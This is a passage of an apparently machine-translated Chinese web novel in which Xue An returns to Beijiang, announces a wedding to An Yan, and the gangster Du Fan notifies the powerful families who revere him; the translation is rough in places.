    While kicking, Xu Jiu yelled in a low voice, "If you''re **** tired and crooked, just find a building and jump down. Don''t **** hurt me, OK?


    Xu Jiu, who was full of ferocious and angry faces, frightened everyone, and after a long time, until this subordinate was beaten to death by Xu Jiu and passed out.


    Xu Jiucai stopped, then wiped the cold sweat on his forehead, glanced at Lao Xie''s restaurant with lingering fear.


    Can''t be wrong, it is definitely him!


    You can tell by just looking at yourself!


    Thinking of this, Xu Jiuling moved, and quickly took out his cell phone and dialed Du Fan''s number.


    Du Fan happened to be drinking with a few business friends in Beijiang City at this time. When he saw Xu Jiu''s call, he was first startled, and then his face became serious.


    At this point in time... Could it be that something happened to that restaurant?


    Du Fan immediately connected the phone.


    "Hey! Boss, I''m here in Lao Xie''s restaurant. I just... saw your husband!"


    "What?" Du Fan was shocked, Huo Ran stood up, startled these business partners.


    "pardon?"


    Xu Jiu took a deep breath, "I saw Mr. enter the restaurant!"


    "Are you sure you read it right?"


    "Absolutely not! He also glanced at me, with that indifferent look, I will never admit it!" Xu Jiu said firmly.


    Du Fan hesitated for a while, and then made a decision.


    "Stay outside, don''t let those messy people disturb your husband, I''ll go right away!"


    "Yes!"


    Du Fan hung up the phone.


    Those business friends said a little displeased: "Mr. Du, you are surprised, how can we talk about this business?"


    Du Fan grabbed the coat on the sofa and cursed as he ran outside: "Talk about you! I have no time to talk to you now!"


    And in the Lao Xie restaurant.


    The sudden appearance of this pedestrian made the whole hall quiet.


    Some people even look silly.


    Just walked in a beautiful girl, how come such a high-value family now?


    How many surprises does this small restaurant have to give people?


    The fat aunt, who was bowing her head, realized that the atmosphere was a little strange, and she couldn''t help raising her head.


    After seeing a smiling man.


    The fat aunt was stunned for a moment, and then shouted with great joy: "Xiao''an?"


    That''s right, of course Xue An and An Yan''s family came!


    Xue An nodded and smiled, "Auntie Fat!"


    Aunt Fatty shouted: "Old Xie, don''t be busy, Xiao Anzi is here!"


    Old Xie ran out without even wiping the noodles on his hands. When he saw Xue An, he was also excited.


    After hearing the noise, Xie Jingjing and Tang Xuan''er who were studying in the back room also walked out.


    An Yan smiled at Tang Xuan''er, "I wanted to wait for you to go back at night, but found it was raining. Knowing that you came to Xie Uncle''s home to help with homework, I came with Xue An! Xie An will not dislike it!


    "How come! Please can''t please come!" Lao Xie had just wanted to come forward to speak, but he hesitated.


    The more contact, the more Lao Xie discovered that Xue An''s power was unfathomable.


    Even those elder brothers who are invincible, at this time are also respectful to themselves, the reason is because, Lao Xie knows well.


    So he had a little more worry in his heart, fearing that it would make Xue An unhappy if he was too casual.


    An Yan naturally noticed this and teased with a deliberate smile.


    This shows that Anyan has a delicate mind and treats people decently and generously.


    Of course Xue An understands An Yan''s intentions, and the smile on his face can''t help but become more intense.


    This girl, what a baby!


    Therefore, he also smiled and said, "I just want to drink those old wines that Uncle Xie''s collection has. I have to have a good meal today!"


    Old Xie laughed loudly, "Okay! Thank you Uncle, there is nothing else, there are old wines!"


    In the words, there is no trace of the strangeness just now.


    When the autumn wind is bleak, the best thing to do is for friends to sit together and eat a steaming hot pot.


    Old Xie politely invited the other guests away.


    Of course, these people dare not leave.


    They all watched the scene of Xu Jiu just now. Who would dare to make a mistake?


    Then Lao Xie put several tables together and lit a copper stove hot pot.


    The ingredients are all ready-made The girls are swift in their hands and feet, and they will wash all kinds of vegetables in a short while.


    Old Xie took out a large piece of fresh mutton, and then began to cut the meat with a knife.


    It''s just that there is no such sharp knife in a hurry, and the cutting is a bit slow.


    Xue An smiled upon seeing this, "Let me come!"


    Saying that he took the kitchen knife, with a slight force on his wrist, the whole kitchen knife turned into a phantom and began to chop meat.


    There is no sound of a kitchen knife chopping the chopping board, but only a subtle sound of cutting meat.


    In a moment, the mutton was cut, and it was all thin and thick enough to shine into the bright mutton slices.


    Old Xie looked silly.


    He had never seen such a meat cut. The kitchen knife didn''t even touch the chopping board during the whole process. He relied on extremely precise control to make the blade lift up just after cutting the lamb.


    This is easier said than done, but it is as hard as the sky.


    It seems that Xiao An''s fame and status are not so simple!


    The crowd sat together.


    I can''t wait to think and nian, especially with nian, the saliva will flow out.


    When the lamb is in the pot, wait for five or six seconds, then remove it and taste.


    With the small ingredients prepared by Shang Lao Xie, it tastes smooth and delicious, enough to make people forget all the troubles of the world.


    An Yan also poured a little wine this time, picked up the cup and pointed at Old Xie and Fat Auntie: "Thanks to your many cares back then, otherwise he and I may not be able to survive today. This cup, I will respect you. Bit!"


    Old Xie and Fat Aunt hurriedly picked up the cups, "You are polite, they are all a family! Don''t talk about that!"


    After a cup, An Yan''s face showed two blushes, making it even more beautiful.


    At this time, Xue An smiled and said, "Also, I came here this time to say something."


    "I am going to have another wedding with An Yan!"

 Chapter 328： Strong desire to survive

    Hearing these words, the room suddenly became quiet.


    Xie Jingjing, who had been silent for a long time, trembled slightly, and the lamb caught in his chopsticks fell on the table.


    Tang Xuan''er sighed slightly, and silently picked it up for her.


    Old Xie and Fat Aunt said in surprise, "Really? This is a good thing! Neither of you had a wedding at the beginning, so you should definitely make it up this time!"


    Old Xie even patted his chest and promised: "At that time, I will be a chef for you. I promise to save money and taste delicious!"


    Xue An smiled, "The chef doesn''t need to be, you two are witnesses of the hard times between me and An Yan, so I want to invite you to be witnesses at that time!"


    Old Xie was about to say yes, but Aunt Fatty hesitated.


    "Xiao''an, I know that you are a good boy, and I have nothing to say to me and Lao Xie, but we are also small businessmen who open restaurants and will be your witnesses... I''m afraid I''m not qualified!"


    Aunt Fatty has her own concerns.


    Xue An��s current identity is not what it used to be, and the guests who come are either powerful or powerful.


    He and Lao Xie were going to be witnesses and couldn''t hold back the place.


    Xue An smiled, "Aunt Fatty, in my eyes, you are the best candidates. If you are not qualified, who is enough?"


    "And this time the witnesses are not the only two of you, I plan to invite a few more!"


    Aunt Fatty breathed a sigh of relief, and nodded happily, "That''s fine, then we will naturally agree with one hundred!"


    At this time, Lao Xie raised his cup, "Let��s all bless Xiao An, it��s not easy for them to come along!"


    "Good!" Aunt Fatty responded suddenly.


    Everyone toasted together, even Xie Jingjing showed a sincere smile at this moment, holding up a glass of juice and saying: "Brother XiaoAng, bless you!"


    Xue An and An Yan smiled at each other and said, "Thank you everyone! Cheers"


    Everyone drank the wine, and the atmosphere became more enthusiastic.


    And outside.


    Although the rain stopped, the bitter autumn wind could freeze people.


    Even so, Du Fan who rushed over insisted that instead of waiting in the car, he stood on the side of the door of Lao Xie''s restaurant, standing with his hands down, with a very respectful expression.


    "Brother, should I wait here? You should return to the car and have a rest! Otherwise, who knows when this Mr. Xue will finish drinking?" Xu Jiu said.


    Du Fan shook his head, "No need, this bit of wind is nothing, I will wait!"


    In fact, Du Fan knew very well in his heart that although Xue An was in the house, he must know everything that happened outside.


    So I should be more respectful.


    It can also leave some good impressions in Mr. Xue''s mind.


    These days, Du Fan''s strength has become more and more tyrannical, and he has begun to get involved in some formal industries.


    In this regard, all parties have remained silent.


    You must know that in the past, if Du Fan dared to get involved in other people''s industries, it would definitely cause a merger.


    But now it is all right!


    Du Fan knew that this was all because of Xue An.


    The more so, the more terrified Du Fan''s heart was.


    Frightened by Xue An''s strength.


    So compared to the benefits, is it a fart to blow a cool breeze at the door?


    The cool breeze was blowing respectfully outside.


    The door of the restaurant opened, Xue Xiang poked his head out, his big eyes gurgling around.


    "Who is Uncle Du Fan?"


    Du Fan took two steps and said with a nearly flattering smile: "Miss, I am, don''t call me uncle, just call me Du Fan!"


    In the face of a four or five year old child, Du Fan showed unparalleled respect.


    Because he knew that these two little girls were Mr. Xue''s daughters, and they were very fond of them. .


    Don''t talk about provoke yourself, just touch off a hair. It is estimated that this Mr. Xue can strip himself alive.


    Xue wanted to hear it and smiled, covering his mouth, "I''m not a big lady, I just think about it! Also, my father asked you to come in!"


    "Yes, yes! It''s troublesome to think about Missy!" Du Fan said with a happy expression, nodding and bowing.


    At the same time, he felt a little regretful, he should know that when he came on the road, he bought some snack toys that children liked.


    If you can buy these two little girls, it will be of great benefit to your future development!


    Du Fan thought about it and walked into the restaurant respectfully.


    "Mr. Xue! Mrs. Xue! Miss Tang, everyone!" Du Fan said hello again and again, looking really funny.


    At least Tang Xuan''er couldn''t help but grin.


    Du Fan couldn''t help being startled by this beautiful and unparalleled smile, and then quickly lowered his head deeply, not daring to look at it again.


    "Sit down!" Xue An said lightly.


    Du Fan dared to sit down.


    "Your news is well-informed. You knew it as soon as I returned to Beijiang?"


    Du Fan shuddered with fright, thinking that it made Xue An unhappy, and hurriedly said: "It''s not well-informed, but one of my men was guarding outside Uncle Xie''s restaurant, and he happened to see you!"


    Xue An nodded, and Lao Xie had just said what happened before.


    For this Du Fan, he can''t say much disgust, but he can''t say much appreciation.


    But this person knows how to seize the opportunity, and is very good at doing things.


    This Lao Xie restaurant is an example.


    "well done!"


    Xue An��s words made Du Fan float up, and said: "It should be, and Uncle Xie is also my elder. If the younger generation is looking for something, I will naturally have the responsibility!"


    "This time you return to Beijiang, you are the first one to know besides my family!" Xue An said lightly.


    Du Fan was overjoyed, so he knew that Mr. Xue was back before anyone else?


    "It just so happens that my mobile phone is also lost You can help me notify other people!" Xue An said.


    Du Fan was overjoyed. This was a chance for himself, so he nodded his head repeatedly, and his chest shook the sky, "No problem, don''t worry, Mr. Xue!"


    "But...what are you going to say?" Du Fan asked cautiously.


    Xue An smiled faintly, "Just say...I am getting married!"


    marry?


    with who?


    Du Fan took a peek at the unparalleled An Yan, suddenly understood something, and there was a ray of determination in his eyes.


    "Sir, don''t worry, I must greet you."


    Said to get up and go out.


    Xue An said lightly: "Don''t you want to eat?"


    Du Fan was really hungry, but the people sitting at the table were all around Xue An.


    He is self-aware, and at best he is just a dog under Mr.''s door. How can he be qualified to be on the table?


    So he shook his head, "I have eaten, but it is important to do something for Mr. first!"


    After speaking, he respectfully quit the Lao Xie restaurant.


    When he left, the fat aunt said curiously: "Xiao An, this guy looks pretty good, why are you so afraid of you?"


    Xue An smiled, "Looks pretty good? Fat aunt, do you know his origin?"


    "What''s the origin?"


    "He had the final say in Beijiang Underground at the time!"


    hiss.


    This sentence made the fat aunt, who had never known Du Fan''s identity, gasped.


    "As for why is he so afraid of me?" Xue An smiled, "maybe because of his strong desire to survive!"


    When Xue An had just returned from rebirth, he had a little conflict with Du Fan while attending a class reunion.


    This is why Du Fan is so quiet now.


    If it weren''t for what he did well, Xue An would be able to kill him with a quick finger!

 Chapter 329： Notify the parties

    Du Fan walked out of the restaurant with excitement on his face.


    "Boss, what did Mr. Xue say?" Xu Jiu hurried forward and asked.


    Du Fan smiled slightly, "Mr. Xue is getting married!"


    "Married? With whom?"


    "Of course it is Miss He''an!"


    "Miss Ann? Aren''t their children already that old?" Xu Jiu obviously didn''t turn around.


    "Do you know why I am a big brother, but you can only be a little brother?" Du Fan said lightly.


    "Hey, I don''t know!"


    "Because you don''t use your brain! Haven''t you heard of Mr. Xue in Zhongdu? An Jia didn''t agree with this marriage at the beginning, so Mr. Xue and Ms. An should have eloped!"


    Speaking of this, a look of horror flashed across Du Fan''s face, "Later, Mr. Xue killed the settling house who was obstructed and committed so many big mistakes!"


    Xu Jiu was full of panic when he heard it, and swallowed hard.


    "So, this time, it must be a wedding that Mr. Xue feels sorry for Miss Ann, specially to make up for it!"


    "Yeah! I understand, what do you say, big brother? Which wedding photo studio was robbed?" Xu Jiu said murderously.


    Du Fan covered his eyes in despair, "Don''t say it''s my little brother from now on, I''m ashamed!"


    "Then what are we doing?" Xu Jiu still felt a little wronged.


    "Mr. Xue wants me to inform his friends and subordinates! Understand?"


    "You mean..."


    "It''s the Qin family, and people from Zhenbei Wuguan, Huashi Medical Center, Qingmang Town, and the provincial capital!"


    Du Fan has studied the people around Xue An, and naturally knows who they are!


    Soon, Du Fan''s men began to take action.


    Du Fan himself put on a decent new dress and headed to the city center.


    Qinjia Building.


    Du Fan walked into the lobby and went straight to the front desk, asking to see Qin Yu or Qin Yuan.


    The front desk looked at Du Fan and handed him a sign-in form coldly.


    "Please fill in personal information first!"


    In this place, Du Fan didn''t dare to say anything else. After filling in obediently, he handed it back, and then asked, "When can I see Miss Qin or Old Man Qin?"


    The front desk checked the calendar, "It''s about a month later!"


    "What?" Du Fan was about to jump up.


    "What? It''s speeded up for you! Didn''t you see that there are queues next to you?" The front desk pointed to the sign-in table, which was piled up to the side.


    Du Fan was a little dumbfounded.


    One month...


    I saw it by then, and it is estimated that Mr. Xue''s wedding is over!


    "Excuse me, please inform Miss Qin now and say that I am indeed in a hurry!"


    "Everyone says there is an urgent matter. Did I inform you? And our Chairman Qin has so many things every day, and time is extremely precious! There is no time to spend with you messy people." The front desk was still cold, and his speech changed. Very ugly.


    Du Fan finally couldn''t hold back the anger in his heart, but he fought from the bottom with a single blow. When facing Xue An, he was respectful because of awe.


    But it doesn''t mean that when he faces other people, his temper will be good.


    He slapped the table suddenly, grabbed the neck of the front desk, and said viciously: "I order you to notify me now, otherwise, I will kill you!"


    The front desk didn''t panic at the moment, but pressed the phone, "Someone is making trouble, come here!"


    After a while, a group of security guards rushed into the hall.


    A scornful smile appeared on the front desk''s face.


    "Dare to fool around in front of our Qin Group? You really blinded you. Captain Yang, get this guy out of me!"


    The captain of this group of security guards is a man in his thirties with a strong body, who is now looking at Du Fan.


    After a while, he touched his chin and said playfully, "Boss Du?"


    Du Fan recognized this person at a glance, and his complexion became a little difficult to look.


    "Cip Yang!"


    This lame Yang had been with him at first, but later he climbed the big tree of the Qin family, gradually not paying attention to Du Fan.


    At this moment, the lame Yang smiled, "What did Mr. Du come to our Qin Group for? Collect protection fees?"


    His words caused a burst of laughter from the people around him.


    Du Fan took a deep breath and said coldly, "Stop talking nonsense here, I have a hundred thousand urgent things to see Miss Qin!"


    "I want to see our chairman? Haha, are you worthy? Don''t talk about you, even us are not qualified to see others! What a boast! The surname is Du, I advise you to honestly go back to your pub ballroom! "The lame Yang said very rudely.


    Du Fan sneered, "Hehe, okay! Since you don''t let me see, if something happens to the Qin family in the future, I see who of you can afford this responsibility!"


    "Something happened? Could something happen to the Qin family?" Yang Lizi gave a mocking look.


    Everyone also showed disbelief.


    "Of course, and it''s a matter of life and death!" Du Fan said proudly.


    In his opinion, the reason why the Qin family has been able to expand so rapidly in the past two years is because of Xue An.


    If there is no Xue An.


    Then the Qin family has become a tree without roots, not to be afraid.


    The lame Yang naturally thought Du Fan was alarmist and was about to make a mockery when a dull male voice came.


    "What''s the matter with you? I have to see our lady?"


    Following the voice, the powerful Black King came over.


    Seeing him, the security guards and the front desk all bowed down respectfully.


    The Black King and Du Fan once knew each other.


    Later, after the Black King was rescued by Xue An with a pill the stagnant martial arts training showed signs of loosening.


    The Black King was naturally overjoyed, and began to indulge in martial arts, no longer paying attention to mundane affairs, and now he has broken through to the realm of heaven and human.


    Du Fan didn''t dare to neglect, he nodded slightly, and then whispered softly: "It''s a very confidential matter! It concerns... Xue!"


    Du Fan said one word.


    The black king was shocked, his eyes were full of light.


    "follow me!"


    After all, he led Du Fan onto the elevator and headed straight to the president''s office on the top floor.


    The security front desks in the lobby looked at each other, their faces flashed with horror.


    Especially Yang Lizi.


    Could it be...what important thing does this guy really have?


    This is the first time Du Fan has come to the top floor of Qinjia Building.


    There is a secretary desk outside the president''s office, and the black king walked over with a calm face, "I want to talk to Miss."


    "The president is negotiating with several foreign customers inside, and there is no time!" the secretary said.


    "Can''t wait! Call a private number!" Black King said.


    "How about that, the president hates others calling her private number!"


    "Stop talking nonsense, hurry up!" The Black King said solemnly.


    The little secretary had no choice but to dial Qin Yu''s private number tremblingly.


    "what''s up!"


    Qin Yu took out his mobile phone and frowned when he saw that it was the secretary outside, and his voice became a little sullen after the connection.


    "Manager Black King wants to talk to you!"


    As soon as the secretary finished speaking, the black king stepped forward to answer the phone, and said solemnly.


    "Du Fan wants to see you!"


    "Du Fan?" Qin Yu frowned, "Is that all the matter? A bully, I don''t have time to see him!"


    "It''s about Mr. Xue!" The Black King took a deep breath and said.


    Qin Yu was shocked and immediately said, "Let him come in and see me!"

 Chapter 330： Qin Family Panic

    This is the first time Du Fan has seen such a large office.


    The layout is very simple, there is no extravagant decoration.


    But the huge French windows are enough to prove everything.


    Sitting in this office, it really seems to have stepped on the entire Beijiang.


    "What''s the matter with Mr. Xue?" Qin Yu said, covering his face.


    "I saw Mr. Xue last night, he has returned to Beijiang!"


    "What?" Qin Yu exclaimed, his face gradually becoming serious.


    Mr. Xue returned to Beijiang without notifying himself. Could it be that he was dissatisfied with the Qin family?


    The more I think about it, the more flustered my heart becomes.


    "Then what are you doing here?"


    Du Fan looked at Qin Yu''s face with a flash of panic, feeling a little happy.


    Ha ha, how can your Qin family be the best? Don''t you have to listen to me honestly now?


    "I''m not talented, I had a good drink with Mr. Xue last night. During the dinner, Mr. Xue said that he is ready to get married and let me inform you!" Du Fan''s face was full of complacency, and he blew a little.


    Qin Yu didn''t care about it at all, and only heard the sentence that Mr. Xue is about to get married.


    Qin Yu''s brain was completely blank, and he gradually recovered after a while.


    "Where is Mr. Xue now?"


    "I don''t know!" Du Fan didn''t lie on this point.


    Qin Yu immediately dialed a call.


    "Hey, has anyone come back from Tianzi No. 1 Villa?"


    "Chairman, isn''t there someone living there all the time?" The property manager of Yunmeng Hospital replied inexplicably.


    "Nonsense, I''m talking about Mr. Xue!" Qin Yu roared.


    "I will check it now!"


    "If you can''t find it, just roll me up!" Qin Yu said angrily.


    She had told Wan Wan that if anyone came in and out of Villa No. 1 Tianzi, she should be notified.


    Especially if Mr. Xue shows up, she should be notified as soon as possible.


    Qin Yu''s intention is to know the news as soon as Xue An returns.


    I did not expect that Mr. Xue would come back this time without his knowledge!


    I missed such important news.


    This is nothing short of disrespect to Mr. Xue!


    Thinking of the consequences of angering Xue An, Qin Yu trembled.


    The property manager on the other end of the phone was even scared by Qin Yu''s last roar. After hanging up the phone, he hurriedly went to check the visit records, but found nothing.


    "Manager, what are you looking for?" A security guard saw his immediate boss sweating profusely and couldn''t help asking.


    "Tianzi No. 1 Villa..." the property manager muttered to himself in despair.


    The security guard heard this sentence and couldn''t help laughing: "Forgot to tell you, I saw the gentleman in Tianzi No.1 Villa last night!"


    The property manager trembled, his eyes gradually appeared, "You...what did you say?"


    "I was on duty at the door last night, and happened to see that Mr. Xue took the family out! I didn''t come back until late at night! I was just about to tell you!" the security guard said.


    The property manager jumped three feet high, hugged the security guard and kissed him, then smiled and said, "Good job, tomorrow I will promote you to the deputy captain of the security team!"


    After speaking, he quickly returned to the office and dialed Qin Yu''s number.


    Qin Yu stood by the phone, and immediately connected as soon as the bell rang.


    "Chairman, Mr. Xue came back last night, and now he lives in Villa No.1 Tianzi!"


    Qin Yu felt relieved upon hearing this sentence.


    "Okay, remember not to disturb him! But pay close attention to it too! Understand?"


    "Yes!"


    Qin Yu hung up the phone, only to realize that he was sweating all over.


    What she fears most is what Xue An thinks about the Qin family, but now it seems that it should be fine, otherwise she will not continue to live in Tianzi No. 1 Villa.


    Then she nodded at Du Fan,"


    Thanks a lot! "


    Du Fan chuckled, "It''s okay! Just notify Miss Qin!"


    "Did Mr. Xue say anything? For example, what about the wedding plan?"


    "He didn''t say that!"


    Qin Yu nodded, and actually took Du Fan to the elevator entrance himself.


    This scene also made several secretaries stunned.


    Du Fan faintly said before leaving: "I think your company is good everywhere, but the front desk and lobby security captain is too arrogant, you know...Mr. Xue is the least like someone who is too arrogant!"


    Qin Yu shuddered, nodded and said: "I see! Thank you!"


    It was not until Du Fan left that Qin Yu turned back to the office, "Go and fire the front desk and the security captain who were on duty in the lobby today! And warn everyone to be honest, don''t be arrogant!" Qin Yu Said with a full face.


    "Yes!" The black king took his orders and left.


    After Qin Yu pondered for a while, he told his grandfather Qin Yuan the news.


    At the moment, Qin Yuan is fishing on a beautiful lake in Beijiang.


    Now he has begun to support his life.


    Many matters of the group were handed over to Qin Yu to handle.


    So when he saw that it was his granddaughter Qin Yu''s call, Qin Yuan couldn''t help being a little surprised.


    What happened?


    After waiting for the connection, Qin Yu snapped the story again.


    When he heard that Xue An was about to get married, Qin Yuan couldn''t help but look shocked.


    "You did a great job!" Qin Yuan nodded.


    "Mr. Xue came back this time and didn''t tell us, and he didn''t even notify us directly of such important news. It really makes people feel flustered!"


    "But I think it should be okay! Mr. Xue is a real immortal in the world, so he shouldn''t care about it, but our attitude must be sincere! I will rush back now, and we will go to Tianzi No. 1 Villa together! "


    "And this marriage is a perfect opportunity, our Qin family can just show sincerity!"


    just when the Qin''s family got into trouble because of this incident.


    Xue An teaches his wife to practice martial arts in Villa No.1 Tianzi.


    Now An Yan��s cultivation base is half-step Sanxian, but apart from this cultivation base, the rest is simply a mess Xue An started teaching from the most basic place.


    For example, the operation method of Reiki, how to use Fajue!


    But An Yan has no interest in these, and I get bored after practicing for a while.


    Xue An had to smile helplessly.


    You must know that when I was the Immortal Venerable, countless people with amazing talents knelt on the ground holding peerless treasures and begged Xue An for guidance. Xue An didn''t even look at it.


    But now An Yan is full of boredom, and even complains that Xue An is too boring.


    "How about... I teach you how to use a pan?" Xue An asked tentatively.


    An Yan''s eyes lit up suddenly, and she nodded vigorously, "Okay, okay!"


    and even thinking and nian ran over.


    "Dad, we have to learn too!"


    Xue An was a little bit dumbfounded, so he had to take out a frying pan and lamented in his heart.


    Tangtang Xianzun, actually wants to teach people martial arts with a pot!


    Then he began to teach his wives and children how to fend off the enemy and how to exert the greatest lethality!


    So when Qin Yu and Qin Yuan rushed to Villa No.1 Tianzi.


    Xue An is leading the family, standing on the hill with a frying pan one by one, gesticulating in martial arts.


    That picture is so beautiful that I dare not look at it.

 Chapter 331： Everyone gathered

    "What novel trick is this?" Qin Yu asked grandpa Qin Yuan on the side.


    Qin Yuan is also full of novelty, shook his head and said: "I don''t know, maybe it is a novel weapon!"


    "But how come I look more and more like a pot!" Qin Yu said.


    "How can we mortal mortals, mortal fetuses, have a glimpse of the mysteries in it!"


    As soon as Qin Yuan''s voice fell, I saw the rise of two little girls playing, throwing out the pan made of Aoki Xin.


    "Ultraman!"


    Boom!


    The pan directly smashed a big rock, and then returned to the hands of the two little girls.


    An Yan looked happy, ignoring the trick Xue An had just taught her, and suddenly waved.


    Boom!


    A nine-day thunder fell, blasting a big hole on the top of the hill.


    Qin Yuan and Qin Yu, their grandfather and grandson, were stunned.


    After a long while, Qin Yu nodded in amazement, "Grandpa, or you are right, how can this thing be a pan? This is simply a magic weapon that can only appear in novels!"


    Qin Principle said with a solemn expression: "I think this is probably the legendary seal of the sky!"


    The two of them are thinking wildly below.


    When An Yan had fun with the two little girls, Xue An also gave up the idea of ??teaching them profound martial arts.


    Especially An Yan, she was awkward to look at the tricks she used according to Xue An''s teaching.


    can wait for her to use it at will, it is as natural as an antelope hanging horns!


    This...is it talent?


    Xue An was a little bit dumbfounded.


    The talent of my own wife is really strange.


    After seeing Xue An approaching, Qin Yuan and Qin Yu hurriedly stood upright and said respectfully: "Sir!"


    Xue An had of course noticed their arrival, so he smiled and nodded.


    Qin Yu stepped forward anxiously, "Sir, you returned to Beijiang, but we didn''t know it! This is all because of my temporary negligence. I hope you forgive me!"


    Qin Yuan stepped forward and said, "Sir, our Qin family��s original intention has never changed. We have always been the solid backing of our husband. Maybe the speed of development is too fast. It will inevitably be mixed, and some things are not done properly. You are upset! You can say at any time that I, Qin Yuan, would like to bear it alone!"


    These two people are in a posture of inviting crime, which makes Xue An a little baffling.


    "What''s the matter? What''s the mess?" Xue An said.


    Ok?


    Qin Yuan and Qin Yu looked at each other, and then said blankly: "Sir, don''t you blame our Qin family?"


    "Why should I blame you?"


    "Then why did you not notify us when you came back this time, and even let Du Fan convey the news of your upcoming marriage?" Qin Yu asked boldly.


    Xue An couldn��t help crying and laughing after hearing this, ��I lost my phone. Without your phone, I didn��t bother to notify them one by one. It happened that Du Fan was there at the time, so I just asked him to notify! It��s that simple!��


    Qin Yuan and Qin Yu were shocked.


    It turned out that I was trembling and full of horror because Xue An lost the phone?


    Anyway, this is good news.


    Qin Yuan and Qin Yu felt relieved.


    Qin Yuan said with a smile: "That''s how it is, but it scares me this old man!"


    Xue An laughed, "It makes me look like a moody king, so scared?"


    Qin Yu thought to himself, you are not a king, but for us, you are much better than a king!


    After entering the house, he chatted for a while.


    Then Qin Yuan said with a sincere face: "Mister is going to get married. This is a happy event, but I don''t know how the husband planned?"


    Qin Yu quickly pricked his ears and listened.


    This is her biggest concern.


    As long as Xue An says his plan.


    Then the Qin Group can take all


    Everything is undertaken.


    Even if Xue An said he was going to get married on the moon.


    Qin Yu will not hesitate to call the National Space and Space Center and immediately buy a rocket and spacecraft.


    Xue An faintly smiled, "Well... wait until they come in!"


    was talking, Tan Dong, Tan Xiaoyu, father and daughter, Hua Xingyu, Hua Tingting, grandfather and grandson all walked in.


    They only learned of the news under Du Fan''s notice.


    When I heard that Xue An was about to get married.


    These people were also shocked.


    Hua Tingting was in the hospital at the time, and her expression was sad for a long time after hearing the news.


    Finally, Hua Xingyu smiled bitterly and asked, "Or you can watch the door at home, I''ll go!"


    Hua Tingting shook her head, "I''m going!"


    Hua Xingyu sighed, "Okay! Then close the hospital, let''s leave now!"


    A similar scene also happened in Zhenbei Wuguan.


    However, Tan Xiaoyu is considered a martial artist at any rate, with an open-minded nature. Although deep down in his heart, he is still a little sad, but he still rushes with his father Tan Dong with full of blessings.


    The room became lively.


    An Yan is a little embarrassed.


    After all, it was discussed now, but she and Xue An got married!


    Although she is a mother, An Yan still has an ignorant girlish heart.


    So she turned around and went to another room, along with Hua Tingting, Tan Xiaoyu, and Tang Xuan''er.


    There are only a few men and Qin Yu left in the room.


    Xue An was drinking tea and chatting with them.


    He didn''t say what to do next, none of these people dared to say anything.


    More than an hour passed.


    There was a sound of footsteps outside, and Xue Lan rushed in.


    Xue An��s cousin has gone through these two years of experience, has faded away from youthfulness, has become mature and stable.


    The aura on ���� shows that he is already at ease!


    "Brother! My sister-in-law and two nieces!" Xue Lan asked this in the first sentence!


    Xue An smiled and pointed to the next room.


    Xue Lan nodded at these people, then turned and went to the next room.


    She rushed over as soon as she learned the news.


    Xue Lan''s parents are also planning to come, especially the mother of Xue Lan, who said with a shy face that she could be regarded as Xue An''s elders.


    Xue Lan didn''t speak, but coldly looked at her arrogant and unreasonable mother.


    It wasn''t until she lowered her head with a sorrowful expression that Xue Lan said coldly: "You know what you did to Brother Xiao An in the first place."


    "I can have this achievement now because Xiao An loves me, but it doesn''t mean I have a good impression of you!"


    The current Xue Lan said one thing at home. When she was so stunned, she didn''t dare to say anything to her short-sighted parents.


    "Sir, who are you waiting for?" Qin Yuan couldn''t help asking.


    Xue An smiled, "It''s time to arrive soon!"


    As expected.


    After dozens of minutes, I heard a mess outside.


    Then a lot of people filed in.


    Qin Yuan and others couldn''t help but stand up.


    Because the people who came from all major families in the provincial capital!

 Chapter 332： Preparing for the wedding

    Shi Dong brought Shi Hao and Shi Zhuli brothers and sisters to represent the Shi family.


    Feng Chaocao led many of his subordinates, representing the Feng family.


    In addition, there are many small families in the provincial capital with weaker strength, all of them have come this time.


    "Sir!" these people shouted in unison.


    They are all Beijiang who just arrived.


    Du Fan''s ability to do things is really good. This time, in order to inform the big wealthy families in the province and capital as soon as possible, he simply rented a helicopter and drove over in person.


    After he got here, the first one he found was Shijia.


    Shidong heard that it was a big **** from Beijiang who came to him, and he was a little baffled.


    After hearing the interview, I realized that Xue An was about to get married.


    Shidong was also greatly shaken, and immediately began to act.


    Shi Hao, who was discussing business in a foreign area, immediately rushed to Beijiang by plane.


    A thought flashed through Shi Dong''s mind at that time.


    If you conceal the news by yourself, if you go there by yourself, will you be able to cheat other families?


    But immediately, he gave up.


    In front of that man, it''s best not to play tricks.


    Otherwise, the gods can''t save you!


    Therefore, he immediately notified the Feng family and the other giants, and they arrived together in a mighty manner.


    The room was already full at this time.


    Everyone looked at Xue An quietly.


    Xue An smiled slightly, "Thank you for coming. This time, I am going to marry my wife. She followed me without asking for anything. I naturally want to make up for it!"


    "Good!" everyone said in a sudden.


    With so many people coming, it is natural that they cannot live in Villa No.1 Tianzi. Qin Yu is responsible for receiving these people.


    After setting up these people, Xue An made a few calls.


    in the barracks.


    Anqing has just finished her official duties and is about to go home from get off work.


    "Colonel An, this is a gift from Major General Wang from Zhonghuai Jun District..." A female correspondent walked in with a huge gift box.


    Anqing shook her head without waiting for her to finish, "Go back!"


    After that, An Qing turned around and left.


    The female correspondent looked helplessly at An Qing''s back, and thought to herself, "How many times is this month?"


    The current Anqing is known as the first flower in jun!


    I don''t know how many people want to win her heart, but An Qing is like a piece of ice, never moved by it.


    drove home, An Ying and An Meng also just returned.


    Now the two of them are also doing management work in Tianyuan Company. They are busy every day and they are very fulfilling.


    was preparing to eat when An Qing''s phone rang.


    She looked down, and her brows, which had been frowning during this period, suddenly stretched out.


    "Brother-in-law!" An Qing said.


    Hearing this name, An Ying and An Meng who were eating both pricked their ears.


    Xue An smiled on the phone, "How did you know it was me? This is a new number!"


    "Hey, no one except you and my sister know this phone number!" An Qing said with a grin.


    "Brother-in-law, when did you come back? Did you handle the matter over there?" An Qing asked because she knew that Xue An had gone to Kunlun some time ago.


    "I only came back yesterday, it''s already flat!" Xue An said lightly.


    Although knowing Xue An''s strength is extremely terrifying, An Qing still couldn''t help taking a breath.


    Even a "wonderland" like Kunlun was flattened by Xue An, how tough is my brother-in-law!


    "This time I called to tell you something!"


    "what''s up?"


    "I am going to give your sister a grand wedding!"


    Anqing stunned, then the corners of her mouth raised, smiling extremely happily, "It should have been like this! Where is it? Beijiang? I''ll rush over now!"


    An Qing is anxious.


    Xue An laughed, "Don��t worry


    Of course, to make up for it, it is natural to be unparalleled in the world, I think so! "


    Xue An told An Qing his thoughts, and An Qing''s eyes were full of splendor. After listening, she nodded and said: "Okay! Do everything as you said!"


    After hanging up, An Ying and An Meng looked at each other.


